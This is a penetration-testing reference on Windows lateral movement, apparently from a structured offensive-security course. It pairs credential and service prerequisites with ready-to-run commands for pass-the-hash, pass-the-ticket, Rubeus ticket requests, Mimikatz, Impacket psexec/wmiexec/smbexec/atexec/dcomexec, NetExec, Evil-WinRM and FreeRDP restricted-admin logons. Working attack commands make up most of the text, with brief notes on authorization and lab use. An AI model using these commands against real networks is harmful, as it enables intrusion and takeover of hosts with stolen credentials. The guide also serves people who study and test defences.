Lateral movement

Directly routed source

Material	Compatible starting paths	Important boundary
Password	SMB/SCM, WMI/DCOM, WinRM/WinRS, RDP	Correct password does not grant the required logon or execution right
NT hash	NTLM-capable SMB/WMI/WinRM; RDP only through Restricted Admin where supported	Net-NTLM and DCC2 are not reusable NT hashes
TGT/ccache	Kerberos-capable tool using target FQDN/SPN	Ticket identity, realm, lifetime, DNS and KDC route must match
TGS	Only the named SERVICE/HOST and compatible client	A CIFS ticket does not authorize WinRM, WMI or RDP
AES/NT long-term key	Request a TGT, then use Kerberos	RC4/NT-key requests can fail where RC4 is disabled
Local-account password/hash	NTLM or RDP in the target's local account context	Remote UAC/account restrictions commonly filter non-RID-500 local administrators

Reachable service	Common execution/access mechanisms	Usual authorization
SMB 445 + SCM/RPC	PsExec, SMBExec, service creation	Administrative share plus SCM/service rights
RPC endpoint mapper 135 + dynamic RPC; often SMB for output	WMIExec, native CIM/WMI, DCOM	Remote WMI/DCOM rights, commonly an effective administrator token
Task Scheduler RPC plus SMB output	ATExec	Remote task creation and administrative output access
WinRM 5985/5986	WinRS, PowerShell remoting, Evil-WinRM	Enabled endpoint and endpoint/session authorization
RDP 3389	FreeRDP, MSTSC	Remote-interactive logon right; Restricted Admin requires administrator access

Copy# Directly routed source
nmap -Pn -sT -sV -p 135,139,445,3389,5985,5986 TARGET -oN movement-preflight.txt
getent hosts TARGET_HOST
date -u

Windows source

Copy# Windows source
Resolve-DnsName TARGET_HOST
Test-NetConnection TARGET_HOST -Port 445
Test-NetConnection TARGET_HOST -Port 5985
Test-NetConnection TARGET_HOST -Port 3389
w32tm /query /status

Record

Port 135 alone does not prove WMI/DCOM viability because RPC commonly negotiates a dynamic high port. When the destination is reachable only through a pivot, perform these checks through the established Block 13 route and respect the client/proxy's transport limits.

Copy# Record
SOURCE POSITION -> TARGET FQDN/IP -> ROUTE -> SERVICE/PORT
-> CREDENTIAL TYPE -> LOCAL/DOMAIN IDENTITY -> EXPECTED RIGHT
-> CHOSEN METHOD -> EXPECTED EFFECT

NetExec can classify a selected SMB credential

Copy# NetExec can classify a selected SMB credential
# Domain password
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'

# Domain NT hash
nxc smb TARGET -d DOMAIN -u USER -H NT_HASH

# Target-local account
nxc smb TARGET -u Administrator -H NT_HASH --local-auth

# Prove only share access
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares

# For one justified execution proof
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' -x "hostname & whoami" --exec-method wmiexec

Client commands / example output

Current NetExec can select wmiexec, atexec or smbexec; without an explicit method it may fail over between them. Use a forced method when diagnosing prerequisites so the result remains attributable.

Copy# Baseline
DOMAIN\USER  -> domain identity; evaluate target-local group/right
TARGET\USER  -> SAM identity on that target
./USER        -> tool-specific local-account selection

Remote process creation, stdout retrieval and an interactive shell are separate states

Do not “fix” this by changing LocalAccountTokenFilterPolicy during an attack workflow. Use a method already permitted by the target's configuration, the built-in Administrator where legitimately obtained and applicable, RDP if authorized, or another mapped identity.

Copy# Remote process creation, stdout retrieval and an interactive shell are separate states
AUTHENTICATED
-> REMOTE OPERATION AUTHORIZED
-> PROCESS/TASK/SERVICE CREATED
-> COMMAND EFFECT OCCURRED
-> OUTPUT RETURNED OR CALLBACK CONNECTED
-> USABLE SESSION

Windows commands

• PsExec returns named-pipe I/O through its service.
• WMIExec normally redirects output to an SMB share.
• SMBExec redirects command output while repeatedly creating services.
• ATExec writes output under ADMIN$\Temp.
• Native WMI/DCOM may return only a PID/return value; verify a harmless file or another bounded effect.
• WMI/DCOM/service processes commonly run in session 0, so a GUI is not visible to the logged-on user.
• WinRM creates a remote shell/runspace and returns structured or text output.

CopyREM Baseline
hostname
whoami /all
ipconfig /all
route print
netstat -ano
klist

1. local privilege and accessible credential sources;
2. domain groups, ACLs, shares and host rights under the new identity;
3. logged-on sessions and service accounts;
4. interfaces, routes, DNS, listeners and internal reachability;
5. the next evidence-backed host/identity transition.

Do not overwrite the earlier state. Record the source host, credential form, authentication protocol, execution method, returned identity and side effects.

Pass-the-Hash

Copy# Pass-the-Hash
NT HASH -> NTLM CHALLENGE/RESPONSE -> TARGET SERVICE

# Mimikatz network-credential context
sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NT_HASH /run:powershell.exe

PtH requires an NTLM-capable service, a valid account context and the service-specific right. SMB share access may work without administrative execution; PsExec/WMIExec/SMBExec usually need administrative rights. Remote UAC commonly filters non-built-in local administrators. Domain accounts in the target Administrators group traditionally receive a full remote token, but newer Administrator Protection policy can change that result—trust the observed target token and method-specific authorization.

Rubeus TGT request

CopyREM Rubeus TGT request
Rubeus.exe asktgt /user:USER /domain:DOMAIN /rc4:NT_HASH /dc:DC_HOST /ptt
klist

REM AES alternative
Rubeus.exe asktgt /user:USER /domain:DOMAIN /aes256:AES256_KEY /dc:DC_HOST /ptt

REM Trigger a Kerberos service request with the hostname, then inspect
dir \\TARGET_HOST\C$
klist

REM Windows
Rubeus.exe ptt /ticket:ticket.kirbi
klist

In a Mimikatz sekurlsa::pth process, whoami can still show the original local process token while network authentication uses the supplied identity. Validate the ticket's client and the remote result rather than treating local whoami as the network identity.

Pass-the-Ticket

Copy# Pass-the-Ticket
kerberos::ptt ticket.kirbi

Linux

Copy# Linux
export KRB5CCNAME="$PWD/ticket.ccache"
klist
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

A TGS must name the selected service/hostname. A TGT can request a suitable TGS only while valid and when the KDC is reachable. Ticket import is not lateral movement until the destination accepts it and produces the intended authorized effect.

Shell commands

Copy# Baseline
# Password
impacket-psexec 'DOMAIN/USER:PASSWORD@TARGET'

# NT hash / Pass-the-Hash
impacket-psexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

Kerberos cache

Need: SMB 445/139, writable administrative share and Service Control Manager rights. Impacket uploads a RemCom service binary, creates/starts a service and communicates over named pipes. Verify the returned identity; the service context is commonly SYSTEM.

Copy# Kerberos cache
export KRB5CCNAME="$PWD/USER.ccache"
impacket-psexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

Windows commands

CopyREM Baseline
PsExec64.exe -accepteula \\TARGET_HOST -u DOMAIN\USER -p PASSWORD cmd.exe

The official PsExec binary is not built into Windows. It requires remote administrative access and creates the PSEXESVC service/artifacts. Avoid putting real passwords in retained shell history; an existing authorized network credential context is preferable.

Shell commands

Copy# Baseline
impacket-smbexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-smbexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

# Kerberos and alternate output modes
export KRB5CCNAME="$PWD/USER.ccache"
impacket-smbexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

# SHARE is default; SERVER starts a local SMB server and needs permission to bind locally.
impacket-smbexec -mode SHARE -share C$ 'DOMAIN/USER:PASSWORD@TARGET'

SMBExec creates temporary services whose command lines redirect output through a share. It does not use the same uploaded RemCom binary as PsExec, but it still requires SCM/service rights and produces substantial service/event artifacts.

Shell commands

Copy# Baseline
impacket-atexec 'DOMAIN/USER:PASSWORD@TARGET_HOST' "cmd.exe /c hostname & whoami"
impacket-atexec -hashes :NT_HASH 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"

Kerberos

ATExec creates and deletes a scheduled task and normally retrieves output from ADMIN$\Temp. It is a one-shot command mechanism, not an interactive shell; task-scheduler RPC and administrative share access must both work.

Copy# Kerberos
export KRB5CCNAME="$PWD/USER.ccache"
impacket-atexec -k -no-pass -dc-ip DC_IP 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"

Shell commands

Copy# Baseline
impacket-wmiexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-wmiexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

# Kerberos with separate name and route
export KRB5CCNAME="$PWD/USER.ccache"
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

# One command, no SMB output
impacket-wmiexec -nooutput 'DOMAIN/USER:PASSWORD@TARGET' "cmd.exe /c echo MOVEMENT_OK > C:\Windows\Temp\movement-proof.txt"

One command, no SMB output

Copy# One command, no SMB output
$Credential = Get-Credential 'DOMAIN\USER'
$Options = New-CimSessionOption -Protocol Dcom
$Session = New-CimSession -ComputerName TARGET_HOST -Credential $Credential -SessionOption $Options

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
  CommandLine = 'cmd.exe /c hostname > C:\Windows\Temp\movement-proof.txt'
}

Remove-CimSession $Session

Current Windows token

Copy# Current Windows token
$Type = [type]::GetTypeFromProgID('MMC20.Application.1','TARGET_HOST')
$Object = [Activator]::CreateInstance($Type)
$Object.Document.ActiveView.ExecuteShellCommand(
  'cmd.exe',
  $null,
  '/c hostname > C:\Windows\Temp\movement-proof.txt',
  '7'
)

Impacket with password or NT hash

Copy# Impacket with password or NT hash
impacket-dcomexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-dcomexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

Evil-WinRM

Copy# Evil-WinRM
# Password; omit -p to prompt where supported
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD'

# NT hash
evil-winrm -i TARGET_HOST -u USER -H NT_HASH

# HTTPS listener
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD' -S -P 5986

# Current Evil-WinRM ticket-file support
evil-winrm -i TARGET_FQDN -r DOMAIN -K USER.ccache --spn HTTP

Need: reachable 5985/5986, an enabled WinRM/PowerShell endpoint and endpoint authorization. The identity is commonly an administrator or a member of the applicable remote-management group, but endpoint SDDL/policy is decisive. Kerberos requires the FQDN/SPN, realm/KDC configuration and a compatible ticket.

Native WinRS

CopyREM Native WinRS
winrs /r:TARGET_HOST /u:DOMAIN\USER /p:PASSWORD "cmd /c hostname & whoami"

REM Native WinRS
winrs /r:TARGET_HOST "cmd /c hostname & whoami"

WinRS uses WinRM. A non-administrator can require /noprofile depending on endpoint configuration. /allowdelegate affects onward credential use and is not a default fix for the double-hop problem.

PowerShell remoting

Copy# PowerShell remoting
Test-WSMan TARGET_HOST
$Credential = Get-Credential 'DOMAIN\USER'

Invoke-Command -ComputerName TARGET_HOST -Credential $Credential -ScriptBlock {
  hostname
  whoami /all
}

$Session = New-PSSession -ComputerName TARGET_HOST -Credential $Credential
Enter-PSSession -Session $Session

A hostname normally supports Negotiate/Kerberos in a domain. An IP address requires explicit credentials and generally HTTPS or a tightly scoped TrustedHosts configuration. Do not weaken global TrustedHosts merely to hide DNS/SPN mistakes.

Check the installed binary name

Copy# Check the installed binary name
command -v xfreerdp3 || command -v xfreerdp

# Password
xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /p:'PASSWORD' /cert:ignore /dynamic-resolution +clipboard

# NT hash
xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /pth:NT_HASH /cert:ignore /dynamic-resolution

Native client

FreeRDP's /pth uses Restricted Admin mode. The target must support/permit that mode and the identity must be an administrator; ordinary Remote Desktop Users membership is not sufficient for Restricted Admin. Password-based RDP instead needs the Remote Desktop service, NLA compatibility and the effective “Allow log on through Remote Desktop Services” right without a deny override.

CopyREM Native client
mstsc.exe /v:TARGET_HOST
mstsc.exe /restrictedAdmin /v:TARGET_HOST

Ordinary RDP can place reusable user credentials in the destination's LSASS. Restricted Admin avoids sending those reusable credentials but prevents ordinary onward access as that user; treat the resulting session's network identity separately.

Purpose: use a validated identity with Remote Desktop logon rights to establish a Windows desktop and verify the resulting source position.

Prompt for the password

Copy# Baseline: prompt for the password
xfreerdp3 /v:TARGET /u:USER /dynamic-resolution /cert:ignore

# Variant — domain identity
xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /dynamic-resolution /cert:ignore

# Variant — authentication only
xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /auth-only /cert:ignore

# Variant — explicit password
xfreerdp3 /v:TARGET /u:USER '/p:PASSWORD' /dynamic-resolution /cert:ignore

Decisive output: a usable desktop establishes a remote session. Open PowerShell or Command Prompt and verify whoami, hostname and ipconfig before treating commands as target-origin execution.

Next: after verifying the host and identity, enumerate groups/privileges, files, local services/listeners and routes from the new source position.

Failure cues: a certificate warning is not a credential result. NLA/security negotiation, account context, authentication, Remote Desktop logon rights and an already occupied/restricted session can fail separately. /cert:ignore is appropriate only for the controlled lab context because it removes certificate identity validation.

Next: after verifying the host and identity, enumerate groups/privileges, files, local services/listeners and routes from the new source position.